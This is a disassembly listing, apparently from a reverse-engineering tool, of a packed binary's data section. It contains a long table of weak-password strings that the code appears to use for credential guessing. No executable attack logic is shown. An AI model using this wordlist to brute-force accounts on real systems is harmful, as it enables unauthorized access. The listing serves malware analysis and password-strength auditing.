aGuess		db 'guess',0            ; DATA XREF: .nsp0:00429D28o
		align 10h
aGucci		db 'gucci',0            ; DATA XREF: .nsp0:00429D24o
		align 4
aGuardian	db 'guardian',0         ; DATA XREF: .nsp0:00429D20o
		align 4
aGryphon	db 'gryphon',0          ; DATA XREF: .nsp0:00429D1Co
aGroup		db 'group',0            ; DATA XREF: .nsp0:00429D18o
		align 4
aGreen		db 'green',0            ; DATA XREF: .nsp0:00429D14o
		align 4
aGreat		db 'great',0            ; DATA XREF: .nsp0:00429D10o
		align 4
aGrant		db 'grant',0            ; DATA XREF: .nsp0:00429D0Co
		align 4
aGrand		db 'grand',0            ; DATA XREF: .nsp0:00429D08o
		align 4
aGrahm		db 'grahm',0            ; DATA XREF: .nsp0:00429D04o
		align 4
aGraham		db 'graham',0           ; DATA XREF: .nsp0:00429D00o
		align 4
aGrades		db 'grades',0           ; DATA XREF: .nsp0:00429CFCo
		align 4
aGovermen	db 'govermen',0         ; DATA XREF: .nsp0:00429CF8o
		align 4
aGouge		db 'gouge',0            ; DATA XREF: .nsp0:00429CF4o
		align 10h
aGosling	db 'gosling',0          ; DATA XREF: .nsp0:00429CF0o
aGorges		db 'gorges',0           ; DATA XREF: .nsp0:00429CECo
		align 10h
aGorgeous	db 'gorgeous',0         ; DATA XREF: .nsp0:00429CE8o
		align 4
aGood		db 'good',0             ; DATA XREF: .nsp0:00429CE4o
		align 4
aGolfer		db 'golfer',0           ; DATA XREF: .nsp0:00429CE0o
		align 4
aGolf		db 'golf',0             ; DATA XREF: .nsp0:00429CDCo
		align 4
aGolden		db 'golden',0           ; DATA XREF: .nsp0:00429CD8o
		align 4
aGold		db 'gold',0             ; DATA XREF: .nsp0:00429CD4o
		align 4
aGlacier	db 'glacier',0          ; DATA XREF: .nsp0:00429CD0o
aGirl		db 'girl',0             ; DATA XREF: .nsp0:00429CCCo
		align 4
aGinger		db 'ginger',0           ; DATA XREF: .nsp0:00429CC8o
		align 4
aGina		db 'gina',0             ; DATA XREF: .nsp0:00429CC4o
		align 4
aGigabyte	db 'gigabyte',0         ; DATA XREF: .nsp0:00429CC0o
		align 10h
aGibson		db 'gibson',0           ; DATA XREF: .nsp0:00429CBCo
		align 4
aGhost		db 'ghost',0            ; DATA XREF: .nsp0:00429CB8o
		align 10h
aGertrude	db 'gertrude',0         ; DATA XREF: .nsp0:00429CB4o
		align 4
aGerm		db 'germ',0             ; DATA XREF: .nsp0:00429CB0o
		align 4
aGeorge		db 'george',0           ; DATA XREF: .nsp0:00429CACo
		align 4
aGauss		db 'gauss',0            ; DATA XREF: .nsp0:00429CA8o
		align 4
aGatt		db 'gatt',0             ; DATA XREF: .nsp0:00429CA4o
		align 4
aGatherin	db 'gatherin',0         ; DATA XREF: .nsp0:00429CA0o
		align 4
aGateway	db 'gateway',0          ; DATA XREF: .nsp0:00429C9Co
aGarfield	db 'garfield',0         ; DATA XREF: .nsp0:00429C98o
		align 4
aGardner	db 'gardner',0          ; DATA XREF: .nsp0:00429C94o
aGames		db 'games',0            ; DATA XREF: .nsp0:00429C90o
		align 4
aGabriel	db 'gabriel',0          ; DATA XREF: .nsp0:00429C8Co
aFungible	db 'fungible',0         ; DATA XREF: .nsp0:00429C88o
		align 10h
aFunction	db 'function',0         ; DATA XREF: .nsp0:00429C84o
		align 4
aFudge		db 'fudge',0            ; DATA XREF: .nsp0:00429C80o
		align 4
aFuckyou	db 'fuckyou',0          ; DATA XREF: .nsp0:00429C7Co
aFuckme		db 'fuckme',0           ; DATA XREF: .nsp0:00429C78o
		align 4
aFucking	db 'fucking',0          ; DATA XREF: .nsp0:00429C74o
aFucker		db 'fucker',0           ; DATA XREF: .nsp0:00429C70o
		align 4
aFuck		db 'fuck',0             ; DATA XREF: .nsp0:00429C6Co
		align 4
aFryguy		db 'fryguy',0           ; DATA XREF: .nsp0:00429C68o
		align 4
aFrog		db 'frog',0             ; DATA XREF: .nsp0:00429C64o
		align 4
aFrighten	db 'frighten',0         ; DATA XREF: .nsp0:00429C60o
		align 4
aFriends	db 'friends',0          ; DATA XREF: .nsp0:00429C5Co
aFriend		db 'friend',0           ; DATA XREF: .nsp0:00429C58o
		align 4
aFriday		db 'friday',0           ; DATA XREF: .nsp0:00429C54o
		align 10h
aFrench		db 'french',0           ; DATA XREF: .nsp0:00429C50o
		align 4
aFreedom	db 'freedom',0          ; DATA XREF: .nsp0:00429C4Co
aFree		db 'free',0             ; DATA XREF: .nsp0:00429C48o
		align 4
aFred		db 'fred',0             ; DATA XREF: .nsp0:00429C44o
		align 10h
aFreak		db 'freak',0            ; DATA XREF: .nsp0:00429C40o
		align 4
aFrank		db 'frank',0            ; DATA XREF: .nsp0:00429C3Co
		align 10h
aFrance		db 'france',0           ; DATA XREF: .nsp0:00429C38o
		align 4
aFoxtrot	db 'foxtrot',0          ; DATA XREF: .nsp0:00429C34o
aFourier	db 'fourier',0          ; DATA XREF: .nsp0:00429C30o
aForsythe	db 'forsythe',0         ; DATA XREF: .nsp0:00429C2Co
		align 4
aFornicat	db 'fornicat',0         ; DATA XREF: .nsp0:00429C28o
		align 10h
aFormat		db 'format',0
		align 4
aForm		db 'form',0
		align 10h
aForever	db 'forever',0
aForesigh	db 'foresigh',0
		align 4
aFord		db 'ford',0
		align 4
aForce		db 'force',0
		align 4
aFootball	db 'football',0
		align 10h
aFoolproo	db 'foolproo',0         ; DATA XREF: .nsp0:00429C08o
		align 4
aFool		db 'fool',0
		align 4
aFood		db 'food',0
		align 4
aFlowers	db 'flowers',0
aFlower		db 'flower',0
		align 4
aFlorida	db 'florida',0
aFloat		db 'float',0            ; DATA XREF: .nsp0:00429BF0o
		align 4
aFlakes		db 'flakes',0           ; DATA XREF: .nsp0:00429BECo
		align 4
aFishers	db 'fishers',0          ; DATA XREF: .nsp0:00429BE8o
aFirewall	db 'firewall',0         ; DATA XREF: .nsp0:00429BE4o
		align 4
aFire		db 'fire',0
		align 10h
aFinite		db 'finite',0
		align 4
aFile		db 'file',0             ; DATA XREF: .nsp0:00405E02o
		align 10h
aFight		db 'fight',0
		align 4
aField		db 'field',0
		align 10h
aFidelity	db 'fidelity',0
		align 4
aFerrari	db 'ferrari',0
aFermat		db 'fermat',0           ; DATA XREF: .nsp0:00429BC4o
		align 4
aFender		db 'fender',0           ; DATA XREF: .nsp0:00429BC0o
		align 4
aFelicia	db 'felicia',0
aFeds		db 'feds',0             ; DATA XREF: .nsp0:00429BB8o
		align 4
aFear		db 'fear',0
		align 4
aFast		db 'fast',0             ; DATA XREF: .nsp0:00429BB0o
		align 4
aFart		db 'fart',0             ; DATA XREF: .nsp0:00429BACo
		align 4
aFaraday	db 'faraday',0          ; DATA XREF: .nsp0:00429BA8o
aFarad		db 'farad',0            ; DATA XREF: .nsp0:00429BA4o
		align 4
aFamily		db 'family',0           ; DATA XREF: .nsp0:00429BA0o
		align 4
aFalse		db 'false',0
		align 4
aFalcon		db 'falcon',0
		align 4
aFaith		db 'faith',0
		align 4
aFairway	db 'fairway',0
aExtensio	db 'extensio',0         ; DATA XREF: .nsp0:00429B8Co
		align 10h
aExplosiv	db 'explosiv',0         ; DATA XREF: .nsp0:00429B88o
		align 4
aExplorer	db 'explorer',0
		align 4
aExplore	db 'explore',0
aExplode	db 'explode',0          ; DATA XREF: .nsp0:00429B7Co
aExpert		db 'expert',0           ; DATA XREF: .nsp0:00429B78o
		align 10h
aEvelyn		db 'evelyn',0           ; DATA XREF: .nsp0:00429B74o
		align 4
aEuclid		db 'euclid',0
		align 10h
aEternity	db 'eternity',0         ; DATA XREF: .nsp0:00429B6Co
		align 4
aEstate		db 'estate',0           ; DATA XREF: .nsp0:00429B68o
		align 4
aEstablis	db 'establis',0         ; DATA XREF: .nsp0:00429B64o
		align 10h
aErsatz		db 'ersatz',0           ; DATA XREF: .nsp0:00429B60o
		align 4
aErotic		db 'erotic',0           ; DATA XREF: .nsp0:00429B5Co
		align 10h
aErin		db 'erin',0             ; DATA XREF: .nsp0:00429B58o
		align 4
aErika		db 'erika',0            ; DATA XREF: .nsp0:00429B54o
		align 10h
aErica		db 'erica',0            ; DATA XREF: .nsp0:00429B50o
		align 4
aEric		db 'eric',0             ; DATA XREF: .nsp0:00429B4Co
		align 10h
aErenity	db 'erenity',0          ; DATA XREF: .nsp0:00429B48o
aEnzyme		db 'enzyme',0           ; DATA XREF: .nsp0:00429B44o
		align 10h
aEnterpri	db 'enterpri',0         ; DATA XREF: .nsp0:00429B40o
		align 4
aEnter		db 'enter',0            ; DATA XREF: .nsp0:00429B3Co
		align 4
aEnglish	db 'english',0          ; DATA XREF: .nsp0:00429B38o
aEngland	db 'england',0          ; DATA XREF: .nsp0:00429B34o
aEngineer	db 'engineer',0         ; DATA XREF: .nsp0:00429B30o
		align 10h
aEngine		db 'engine',0           ; DATA XREF: .nsp0:00429B2Co
		align 4
aEnemy		db 'enemy',0            ; DATA XREF: .nsp0:00429B28o
		align 10h
aEmmanuel	db 'emmanuel',0         ; DATA XREF: .nsp0:00429B24o
		align 4
aEmily		db 'emily',0            ; DATA XREF: .nsp0:00429B20o
		align 4
aEmerald	db 'emerald',0          ; DATA XREF: .nsp0:00429B1Co
aEmail		db 'email',0            ; DATA XREF: .nsp0:00406AF2o
					; .nsp0:00429B18o
		align 4
aEllen		db 'ellen',0            ; DATA XREF: .nsp0:00429B14o
		align 4
aElizabet	db 'elizabet',0         ; DATA XREF: .nsp0:00429B10o
		align 4
aElephant	db 'elephant',0         ; DATA XREF: .nsp0:00429B0Co
		align 4
aElectron	db 'electron',0         ; DATA XREF: .nsp0:00429B08o
		align 10h
aElanor		db 'elanor',0           ; DATA XREF: .nsp0:00429B04o
		align 4
aElaine		db 'elaine',0           ; DATA XREF: .nsp0:00429B00o
		align 10h
aEinstein	db 'einstein',0         ; DATA XREF: .nsp0:00429AFCo
		align 4
aEinsiein	db 'einsiein',0         ; DATA XREF: .nsp0:00429AF8o
		align 4
aEileen		db 'eileen',0           ; DATA XREF: .nsp0:00429AF4o
		align 10h
aEiderdow	db 'eiderdow',0         ; DATA XREF: .nsp0:00429AF0o
		align 4
aEgghead	db 'egghead',0          ; DATA XREF: .nsp0:00429AECo
aEdwina		db 'edwina',0           ; DATA XREF: .nsp0:00429AE8o
		align 4
aEdwin		db 'edwin',0            ; DATA XREF: .nsp0:00429AE4o
		align 4
aEducatio	db 'educatio',0         ; DATA XREF: .nsp0:00429AE0o
		align 10h
aEducation	db 'education',0        ; DATA XREF: .nsp0:00429ADCo
		align 4
aEdition	db 'edition',0          ; DATA XREF: .nsp0:00429AD8o
aEdit		db 'edit',0             ; DATA XREF: .nsp0:00429AD4o
		align 4
aEdinburg	db 'edinburg',0         ; DATA XREF: .nsp0:00429AD0o
		align 4
aEdges		db 'edges',0            ; DATA XREF: .nsp0:00429ACCo
		align 10h
aEddie		db 'eddie',0            ; DATA XREF: .nsp0:00429AC8o
		align 4
aEcho		db 'echo',0             ; DATA XREF: .nsp0:00429AC4o
		align 10h
aEatme		db 'eatme',0            ; DATA XREF: .nsp0:00429AC0o
		align 4
aEasy		db 'easy',0             ; DATA XREF: .nsp0:00429ABCo
		align 10h
aEasier		db 'easier',0           ; DATA XREF: .nsp0:00429AB8o
		align 4
aEarth		db 'earth',0            ; DATA XREF: .nsp0:00429AB4o
		align 10h
aEagle		db 'eagle',0            ; DATA XREF: .nsp0:00429AB0o
		align 4
aEager		db 'eager',0            ; DATA XREF: .nsp0:00429AACo
		align 10h
aDyke		db 'dyke',0             ; DATA XREF: .nsp0:00429AA8o
		align 4
aDungeon	db 'dungeon',0          ; DATA XREF: .nsp0:00429AA4o
aDuncan		db 'duncan',0           ; DATA XREF: .nsp0:00429AA0o
		align 4
aDulce		db 'dulce',0            ; DATA XREF: .nsp0:00429A9Co
		align 10h
aDuke		db 'duke',0             ; DATA XREF: .nsp0:00429A98o
		align 4
aDuelist	db 'duelist',0          ; DATA XREF: .nsp0:00429A94o
aDude		db 'dude',0             ; DATA XREF: .nsp0:00429A90o
		align 4
aDuck		db 'duck',0             ; DATA XREF: .nsp0:00429A8Co
		align 10h
aDrought	db 'drought',0          ; DATA XREF: .nsp0:00429A88o
aDrive		db 'drive',0            ; DATA XREF: .nsp0:00429A84o
		align 10h
aDrdoom		db 'drdoom',0           ; DATA XREF: .nsp0:00429A80o
		align 4
aDragon		db 'dragon',0           ; DATA XREF: .nsp0:00429A7Co
		align 10h
aDownload	db 'download',0         ; DATA XREF: .nsp0:00429A78o
		align 4
aDope		db 'dope',0             ; DATA XREF: .nsp0:00429A74o
		align 4
aDoors		db 'doors',0            ; DATA XREF: .nsp0:00429A70o
		align 4
aDoor		db 'door',0             ; DATA XREF: .nsp0:00429A6Co
		align 4
aDoonesbu	db 'doonesbu',0         ; DATA XREF: .nsp0:00429A68o
		align 10h
aDoomsday	db 'doomsday',0         ; DATA XREF: .nsp0:00429A64o
		align 4
aDoomii		db 'doomii',0           ; DATA XREF: .nsp0:00429A60o
		align 4
aDoom2		db 'doom2',0            ; DATA XREF: .nsp0:00429A5Co
		align 4
aDoom		db 'doom',0             ; DATA XREF: .nsp0:00429A58o
		align 4
aDong		db 'dong',0             ; DATA XREF: .nsp0:00429A54o
		align 4
aDollar		db 'dollar',0           ; DATA XREF: .nsp0:00429A50o
		align 4
aDoctor		db 'doctor',0           ; DATA XREF: .nsp0:00429A4Co
		align 4
aDisplay_0	db 'display',0          ; DATA XREF: .nsp0:00429A48o
aDisney		db 'disney',0           ; DATA XREF: .nsp0:00429A44o
		align 4
aDiskette	db 'diskette',0         ; DATA XREF: .nsp0:00429A40o
		align 4
aDisk_0		db 'disk',0             ; DATA XREF: .nsp0:00429A3Co
		align 10h
aDiscover	db 'discover',0         ; DATA XREF: .nsp0:00429A38o
		align 4
aDisclose	db 'disclose',0         ; DATA XREF: .nsp0:00429A34o
		align 4
aDiscipli	db 'discipli',0         ; DATA XREF: .nsp0:00429A30o
		align 4
aDisc		db 'disc',0             ; DATA XREF: .nsp0:00429A2Co
		align 4
aDirty		db 'dirty',0            ; DATA XREF: .nsp0:00429A28o
		align 4
aDirector	db 'director',0         ; DATA XREF: .nsp0:00429A24o
		align 10h
aDirect		db 'direct',0           ; DATA XREF: .nsp0:00429A20o
		align 4
aDipshit	db 'dipshit',0          ; DATA XREF: .nsp0:00429A1Co
aDinosaur	db 'dinosaur',0         ; DATA XREF: .nsp0:00429A18o
		align 4
aDigital	db 'digital',0          ; DATA XREF: .nsp0:00429A14o
aDieter		db 'dieter',0           ; DATA XREF: .nsp0:00429A10o
		align 4
aDiet		db 'diet',0             ; DATA XREF: .nsp0:00429A0Co
		align 4
aDiehard	db 'diehard',0          ; DATA XREF: .nsp0:00429A08o
aDick		db 'dick',0             ; DATA XREF: .nsp0:00429A04o
		align 4
aDice		db 'dice',0             ; DATA XREF: .nsp0:00429A00o
		align 4
aDiane		db 'diane',0            ; DATA XREF: .nsp0:004299FCo
		align 4
aDiana		db 'diana',0            ; DATA XREF: .nsp0:004299F8o
		align 4
aDiamond	db 'diamond',0          ; DATA XREF: .nsp0:004299F4o
aDial		db 'dial',0             ; DATA XREF: .nsp0:004299F0o
		align 4
aDevice		db 'device',0           ; DATA XREF: .nsp0:004299ECo
		align 4
aDevelop	db 'develop',0          ; DATA XREF: .nsp0:004299E8o
aDesperat	db 'desperat',0         ; DATA XREF: .nsp0:004299E4o
		align 4
aDesktop	db 'desktop',0          ; DATA XREF: .nsp0:004299E0o
aDesk		db 'desk',0             ; DATA XREF: .nsp0:004299DCo
		align 4
aDesiree	db 'desiree',0          ; DATA XREF: .nsp0:004299D8o
aDennis		db 'dennis',0           ; DATA XREF: .nsp0:004299D4o
		align 4
aDenise		db 'denise',0           ; DATA XREF: .nsp0:004299D0o
		align 10h
aDemocrat	db 'democrat',0         ; DATA XREF: .nsp0:004299CCo
		align 4
aDeluge		db 'deluge',0           ; DATA XREF: .nsp0:004299C8o
		align 4
aDelta		db 'delta',0            ; DATA XREF: .nsp0:004299C4o
		align 4
aDefoe		db 'defoe',0            ; DATA XREF: .nsp0:004299C0o
		align 4
aDefault_0	db 'DEFAULT',0          ; DATA XREF: .nsp0:004299BCo
aDeck		db 'deck',0             ; DATA XREF: .nsp0:004299B4o
		align 4
aDecember	db 'december',0         ; DATA XREF: .nsp0:004299B0o
		align 10h
aDebug		db 'debug',0            ; DATA XREF: .nsp0:004299ACo
		align 4
aDeborah	db 'deborah',0          ; DATA XREF: .nsp0:004299A8o
aDebbie		db 'debbie',0           ; DATA XREF: .nsp0:004299A4o
		align 4
aDeathsta	db 'deathsta',0         ; DATA XREF: .nsp0:004299A0o
		align 4
aDead		db 'dead',0             ; DATA XREF: .nsp0:0042999Co
		align 4
aDawn		db 'dawn',0             ; DATA XREF: .nsp0:00429998o
		align 4
aDave		db 'dave',0             ; DATA XREF: .nsp0:00429994o
		align 4
aData		db 'data',0             ; DATA XREF: .nsp0:00429990o
		align 4
aDarkaven	db 'darkaven',0         ; DATA XREF: .nsp0:0042998Co
		align 10h
aDark		db 'dark',0             ; DATA XREF: .nsp0:00429988o
		align 4
aDapper		db 'dapper',0           ; DATA XREF: .nsp0:00429984o
		align 10h
aDanny		db 'danny',0            ; DATA XREF: .nsp0:00429980o
		align 4
aDanielle	db 'danielle',0         ; DATA XREF: .nsp0:0042997Co
		align 4
aDaniel		db 'daniel',0           ; DATA XREF: .nsp0:00429978o
		align 4
aDancer		db 'dancer',0           ; DATA XREF: .nsp0:00429974o
		align 4
aDana		db 'dana',0             ; DATA XREF: .nsp0:00429970o
		align 4
aDaisy		db 'daisy',0            ; DATA XREF: .nsp0:0042996Co
		align 4
aDaemon		db 'daemon',0           ; DATA XREF: .nsp0:00429968o
		align 4
aCynthia	db 'cynthia',0          ; DATA XREF: .nsp0:00429964o
aCyberspa	db 'cyberspa',0         ; DATA XREF: .nsp0:00429960o
		align 10h
aCyberpun	db 'cyberpun',0         ; DATA XREF: .nsp0:0042995Co
		align 4
aCyber_1	db 'cyber',0            ; DATA XREF: .nsp0:00429958o
		align 4
aCustomer	db 'customer',0         ; DATA XREF: .nsp0:00429954o
		align 10h
aCunt		db 'cunt',0             ; DATA XREF: .nsp0:00429950o
		align 4
aCshrc		db 'cshrc',0            ; DATA XREF: .nsp0:0042994Co
		align 10h
aCrystal	db 'crystal',0          ; DATA XREF: .nsp0:00429948o
aCristina	db 'cristina',0         ; DATA XREF: .nsp0:00429944o
		align 4
aCriminal	db 'criminal',0         ; DATA XREF: .nsp0:00429940o
		align 10h
aCrime		db 'crime',0            ; DATA XREF: .nsp0:0042993Co
		align 4
aCretin		db 'cretin',0           ; DATA XREF: .nsp0:00429938o
		align 10h
aCreosote	db 'creosote',0         ; DATA XREF: .nsp0:00429934o
		align 4
aCredit		db 'credit',0           ; DATA XREF: .nsp0:00429930o
		align 4
aCreature	db 'creature',0         ; DATA XREF: .nsp0:0042992Co
		align 10h
aCreation	db 'creation',0         ; DATA XREF: .nsp0:00429928o
		align 4
aCreate		db 'create',0           ; DATA XREF: .nsp0:00429924o
		align 4
aCream		db 'cream',0            ; DATA XREF: .nsp0:00429920o
		align 4
aCrackpot	db 'crackpot',0         ; DATA XREF: .nsp0:0042991Co
		align 4
aCrack		db 'crack',0            ; DATA XREF: .nsp0:00429918o
		align 10h
aCowboy		db 'cowboy',0           ; DATA XREF: .nsp0:00429914o
		align 4
aCouscous	db 'couscous',0         ; DATA XREF: .nsp0:00429910o
		align 4
aCountry	db 'country',0          ; DATA XREF: .nsp0:0042990Co
aCounters	db 'counters',0         ; DATA XREF: .nsp0:00429908o
		align 4
aCorrect	db 'correct',0          ; DATA XREF: .nsp0:00429904o
aCorneliu	db 'corneliu',0         ; DATA XREF: .nsp0:00429900o
		align 4
aCopy		db 'copy',0             ; DATA XREF: .nsp0:004298FCo
		align 4
aCops		db 'cops',0             ; DATA XREF: .nsp0:004298F8o
		align 4
aCopper		db 'copper',0           ; DATA XREF: .nsp0:004298F4o
		align 4
aCooper		db 'cooper',0           ; DATA XREF: .nsp0:004298F0o
		align 4
aCool		db 'cool',0             ; DATA XREF: .nsp0:004298ECo
		align 4
aCookie		db 'cookie',0           ; DATA XREF: .nsp0:004298E8o
		align 4
aCookbook	db 'cookbook',0         ; DATA XREF: .nsp0:004298E4o
		align 4
aCook		db 'cook',0             ; DATA XREF: .nsp0:004298E0o
		align 10h
aContinue	db 'continue',0         ; DATA XREF: .nsp0:0040604Bo
					; .nsp0:004298DCo
		align 4
aConsole	db 'console',0          ; DATA XREF: .nsp0:004298D8o
aConserva	db 'conserva',0         ; DATA XREF: .nsp0:004298D4o
		align 10h
aConnie		db 'connie',0           ; DATA XREF: .nsp0:004298D0o
		align 4
aConnect	db 'connect',0          ; DATA XREF: sub_409A6D+595o
					; .nsp0:004298CCo
aCondom		db 'condom',0           ; DATA XREF: .nsp0:004298C8o
		align 4
aCondo		db 'condo',0            ; DATA XREF: .nsp0:004298C4o
		align 10h
aComrades	db 'comrades',0         ; DATA XREF: .nsp0:004298C0o
		align 4
aComrade	db 'comrade',0          ; DATA XREF: .nsp0:004298BCo
aComputin	db 'computin',0         ; DATA XREF: .nsp0:004298B8o
		align 10h
aCompany	db 'company',0          ; DATA XREF: .nsp0:004298B4o
aCommrade	db 'commrade',0         ; DATA XREF: .nsp0:004298B0o
		align 4
aCommit		db 'commit',0           ; DATA XREF: .nsp0:004298ACo
		align 4
aComics		db 'comics',0           ; DATA XREF: .nsp0:004298A8o
		align 4
aCombat		db 'combat',0           ; DATA XREF: .nsp0:004298A4o
		align 4
aColor		db 'color',0            ; DATA XREF: .nsp0:004298A0o
		align 4
aCollins	db 'collins',0          ; DATA XREF: .nsp0:0042989Co
aCold		db 'cold',0             ; DATA XREF: .nsp0:00429898o
		align 4
aCola		db 'cola',0             ; DATA XREF: .nsp0:00429894o
		align 4
aCoke		db 'coke',0             ; DATA XREF: .nsp0:00429890o
		align 4
aCoin		db 'coin',0             ; DATA XREF: .nsp0:0042988Co
		align 4
aCoffee		db 'coffee',0           ; DATA XREF: .nsp0:00429888o
		align 4
aCodeword	db 'codeword',0         ; DATA XREF: .nsp0:00429884o
		align 10h
aCodename	db 'codename',0         ; DATA XREF: .nsp0:00429880o
		align 4
aCode		db 'code',0             ; DATA XREF: .nsp0:0042987Co
		align 4
aCock		db 'cock',0             ; DATA XREF: .nsp0:00429878o
		align 4
aCocainco	db 'cocainco',0         ; DATA XREF: .nsp0:00429874o
		align 4
aCocacola	db 'cocacola',0         ; DATA XREF: .nsp0:00429870o
		align 4
aCoast		db 'coast',0            ; DATA XREF: .nsp0:0042986Co
		align 4
aClusters	db 'clusters',0         ; DATA XREF: .nsp0:00429868o
		align 4
aCluster	db 'cluster',0          ; DATA XREF: .nsp0:00429864o
aClinton	db 'clinton',0          ; DATA XREF: .nsp0:00429860o
aCleavage	db 'cleavage',0         ; DATA XREF: .nsp0:0042985Co
		align 4
aClaymore	db 'claymore',0         ; DATA XREF: .nsp0:00429858o
		align 10h
aClaudia	db 'claudia',0          ; DATA XREF: .nsp0:00429854o
aClassic	db 'classic',0          ; DATA XREF: .nsp0:00429850o
aClasses	db 'classes',0          ; DATA XREF: .nsp0:0042984Co
aClass		db 'class',0            ; DATA XREF: .nsp0:00429848o
		align 10h
aCindy		db 'cindy',0            ; DATA XREF: .nsp0:00429844o
		align 4
aCigarett	db 'cigarett',0         ; DATA XREF: .nsp0:00429840o
		align 4
aCigar		db 'cigar',0            ; DATA XREF: .nsp0:0042983Co
		align 4
aChristy	db 'christy',0          ; DATA XREF: .nsp0:00429838o
aChristin	db 'christin',0         ; DATA XREF: .nsp0:00429834o
		align 10h
aChris		db 'chris',0            ; DATA XREF: .nsp0:00429830o
		align 4
aChip		db 'chip',0             ; DATA XREF: .nsp0:0042982Co
		align 10h
aChester	db 'chester',0          ; DATA XREF: .nsp0:00429828o
aChess		db 'chess',0            ; DATA XREF: .nsp0:00429824o
		align 10h
aChemistr	db 'chemistr',0         ; DATA XREF: .nsp0:00429820o
		align 4
aChem		db 'chem',0             ; DATA XREF: .nsp0:0042981Co
		align 4
aChat_0		db 'chat',0             ; DATA XREF: .nsp0:00429818o
		align 4
aCharon		db 'charon',0           ; DATA XREF: .nsp0:00429814o
		align 4
aCharming	db 'charming',0         ; DATA XREF: .nsp0:00429810o
		align 10h
aCharlie	db 'charlie',0          ; DATA XREF: .nsp0:0042980Co
aCharles	db 'charles',0          ; DATA XREF: .nsp0:00429808o
aCharity	db 'charity',0          ; DATA XREF: .nsp0:00429804o
aChange		db 'change',0           ; DATA XREF: .nsp0:00429800o
		align 10h
aCerulean	db 'cerulean',0         ; DATA XREF: .nsp0:004297FCo
		align 4
aCeltics	db 'celtics',0          ; DATA XREF: .nsp0:004297F8o
aCeltic		db 'celtic',0           ; DATA XREF: .nsp0:004297F4o
		align 4
aCelt		db 'celt',0             ; DATA XREF: .nsp0:004297F0o
		align 4
aCecily		db 'cecily',0           ; DATA XREF: .nsp0:004297ECo
		align 4
aCayuga		db 'cayuga',0           ; DATA XREF: .nsp0:004297E8o
		align 4
aCave		db 'cave',0             ; DATA XREF: .nsp0:004297E4o
		align 4
aCathy		db 'cathy',0            ; DATA XREF: .nsp0:004297E0o
		align 4
aCatholic	db 'catholic',0         ; DATA XREF: .nsp0:004297DCo
		align 10h
aCatherin	db 'catherin',0         ; DATA XREF: .nsp0:004297D8o
		align 4
aCastle		db 'castle',0           ; DATA XREF: .nsp0:004297D4o
		align 4
aCash		db 'cash',0             ; DATA XREF: .nsp0:004297D0o
		align 4
aCascades	db 'cascades',0         ; DATA XREF: .nsp0:004297CCo
		align 4
aCarson		db 'carson',0           ; DATA XREF: .nsp0:004297C8o
		align 10h
aCarrie		db 'carrie',0           ; DATA XREF: .nsp0:004297C4o
		align 4
aCaroline	db 'caroline',0         ; DATA XREF: .nsp0:004297C0o
		align 4
aCarolina	db 'carolina',0         ; DATA XREF: .nsp0:004297BCo
		align 10h
aCarole		db 'carole',0           ; DATA XREF: .nsp0:004297B8o
		align 4
aCarol		db 'carol',0            ; DATA XREF: .nsp0:004297B4o
		align 10h
aCarmen		db 'carmen',0           ; DATA XREF: .nsp0:004297B0o
		align 4
aCarla		db 'carla',0            ; DATA XREF: .nsp0:004297ACo
		align 10h
aCaren		db 'caren',0            ; DATA XREF: .nsp0:004297A8o
		align 4
aCardinal	db 'cardinal',0         ; DATA XREF: .nsp0:004297A4o
		align 4
aCard		db 'card',0             ; DATA XREF: .nsp0:004297A0o
		align 4
aCapture	db 'capture',0          ; DATA XREF: .nsp0:004061F7o
					; .nsp0:0042979Co
aCaptain	db 'captain',0          ; DATA XREF: .nsp0:00429798o
aCantor		db 'cantor',0           ; DATA XREF: .nsp0:00429794o
		align 4
aCandy		db 'candy',0            ; DATA XREF: .nsp0:00429790o
		align 4
aCandi		db 'candi',0            ; DATA XREF: .nsp0:0042978Co
		align 4
aCamping	db 'camping',0          ; DATA XREF: .nsp0:00429788o
aCampanil	db 'campanil',0         ; DATA XREF: .nsp0:00429784o
		align 4
aCamille	db 'camille',0          ; DATA XREF: .nsp0:00429780o
aCaliforn	db 'californ',0         ; DATA XREF: .nsp0:0042977Co
		align 4
aButthead	db 'butthead',0         ; DATA XREF: .nsp0:00429778o
		align 4
aButt		db 'butt',0             ; DATA XREF: .nsp0:00429774o
		align 10h
aButch		db 'butch',0            ; DATA XREF: .nsp0:00429770o
		align 4
aBurn		db 'burn',0             ; DATA XREF: .nsp0:0042976Co
		align 10h
aBurgess	db 'burgess',0          ; DATA XREF: .nsp0:00429768o
aBung		db 'bung',0             ; DATA XREF: .nsp0:00429764o
		align 10h
aBumbling	db 'bumbling',0         ; DATA XREF: .nsp0:00429760o
		align 4
aBullshit	db 'bullshit',0         ; DATA XREF: .nsp0:0042975Co
		align 4
aBulls		db 'bulls',0            ; DATA XREF: .nsp0:00429758o
		align 10h
aBrutefor	db 'brutefor',0         ; DATA XREF: .nsp0:00429754o
		align 4
aBrute		db 'brute',0            ; DATA XREF: .nsp0:00429750o
		align 4
aBrunette	db 'brunette',0         ; DATA XREF: .nsp0:0042974Co
		align 10h
aBrothel	db 'brothel',0          ; DATA XREF: .nsp0:00429748o
aBroadway	db 'broadway',0         ; DATA XREF: .nsp0:00429744o
		align 4
aBridget	db 'bridget',0          ; DATA XREF: .nsp0:00429740o
aBrian		db 'brian',0            ; DATA XREF: .nsp0:0042973Co
		align 4
aBrenda		db 'brenda',0           ; DATA XREF: .nsp0:00429738o
		align 4
aBreast		db 'breast',0           ; DATA XREF: .nsp0:00429734o
		align 4
aBreak		db 'break',0            ; DATA XREF: .nsp0:00429730o
		align 4
aBravo		db 'bravo',0            ; DATA XREF: .nsp0:0042972Co
		align 4
aBrandy		db 'brandy',0           ; DATA XREF: .nsp0:00429728o
		align 4
aBrandi		db 'brandi',0           ; DATA XREF: .nsp0:00429724o
		align 4
aBradley	db 'bradley',0          ; DATA XREF: .nsp0:00429720o
aBoyscout	db 'boyscout',0         ; DATA XREF: .nsp0:0042971Co
		align 4
aBorn		db 'born',0             ; DATA XREF: .nsp0:00429718o
		align 10h
aBook		db 'book',0             ; DATA XREF: .nsp0:00429714o
		align 4
aBoobs		db 'boobs',0            ; DATA XREF: .nsp0:00429710o
		align 10h
aBoob		db 'boob',0             ; DATA XREF: .nsp0:0042970Co
		align 4
aBoner		db 'boner',0            ; DATA XREF: .nsp0:00429708o
		align 10h
aBomb		db 'bomb',0             ; DATA XREF: .nsp0:00429704o
		align 4
aBoard		db 'board',0            ; DATA XREF: .nsp0:00429700o
		align 10h
aBlues		db 'blues',0            ; DATA XREF: .nsp0:004296FCo
		align 4
aBlue		db 'blue',0             ; DATA XREF: .nsp0:004296F8o
		align 10h
